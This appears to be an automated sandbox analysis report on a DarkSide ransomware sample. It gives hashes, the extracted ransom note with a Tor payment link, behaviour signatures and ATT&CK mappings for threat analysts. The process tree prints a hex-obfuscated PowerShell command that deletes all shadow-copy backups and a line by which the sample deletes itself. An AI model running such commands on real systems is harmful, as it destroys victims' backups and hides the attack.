darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
148s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:36

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Report Analysis Logs

General

Target

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Size

59KB
MD5

f9fc1a1a95d5723c140c2a8effc93722
SHA1

ce2480dec2ee0a47549fad355c3cf154f9aab836
SHA256

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
SHA512

3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11
SSDEEP

768:9jjV7Iax7F3DS4/S9F+YeYf+tB1tJq5c2yGHMwY23W5:vx7Fu4/iF5eTtJq1sLZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.e485ae35.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (159) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\e485ae35.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\e485ae35.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\Desktop\WallpaperStyle = "10"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.e485ae35\ = "e485ae35"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e485ae35\DefaultIcon	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e485ae35	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\e485ae35\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\e485ae35.ico"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.e485ae35	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1688	powershell.exe
1688	powershell.exe
2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSecurityPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeTakeOwnershipPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeLoadDriverPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemProfilePrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemtimePrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeProfSingleProcessPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeIncBasePriorityPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeCreatePagefilePrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeBackupPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRestorePrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeShutdownPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemEnvironmentPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRemoteShutdownPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeUndockPrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeManageVolumePrivilege	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 33	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 34	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 35	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 36	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeBackupPrivilege	3088	vssvc.exe
Token: SeRestorePrivilege	3088	vssvc.exe
Token: SeAuditPrivilege	3088	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 1688	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	87
PID 2004 wrote to memory of 1688	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	87
PID 2004 wrote to memory of 5492	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	99
PID 2004 wrote to memory of 5492	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	99
PID 2004 wrote to memory of 5492	2004	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	99

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
1⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
  2⤵
  PID:5492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d34112a7b4df3c9e30ace966437c5e40

SHA1
ec07125ad2db8415cf2602d1a796dc3dfc8a54d6

SHA256
cd9665cdaf412455d6f8dbdb60c721d0cf2ac992f7cd4830d89e8c75f9cfbfbf

SHA512
49fd43e69ece9c8185ada6b6ea5bd8619cb2b31de49793d3bd80180ecf3cf8ad24cac6c494185c99623417de52465c832166f7a4890d36ac0f3be5bd7652e053

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o3pxliq0.4xq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.e485ae35.TXT

Filesize
1KB

MD5
d44e068928d003585860dca45293232b

SHA1
41bfb9e51439dca5804190975a167c9331693e11

SHA256
2dd8909ca698759ad05159f61804e043ab5a59849111f6224eb010864fb40948

SHA512
6d84ec871bae2de0eba22cfdbdfbbdeadfa3f80c5dc0eba5ec8916f2be2b07ded82e87807fe2ffd35bd5e60102b6a39c7d61d7bc7fb4dde409989e0eef70c91d

Download Submit
memory/1688-3-0x000001F13EAF0000-0x000001F13EB12000-memory.dmp

Filesize
136KB

Download
memory/1688-13-0x00007FFC9D850000-0x00007FFC9E311000-memory.dmp

Filesize
10.8MB

Download
memory/1688-14-0x000001F156D50000-0x000001F156D60000-memory.dmp

Filesize
64KB

Download
memory/1688-17-0x00007FFC9D850000-0x00007FFC9E311000-memory.dmp

Filesize
10.8MB

Download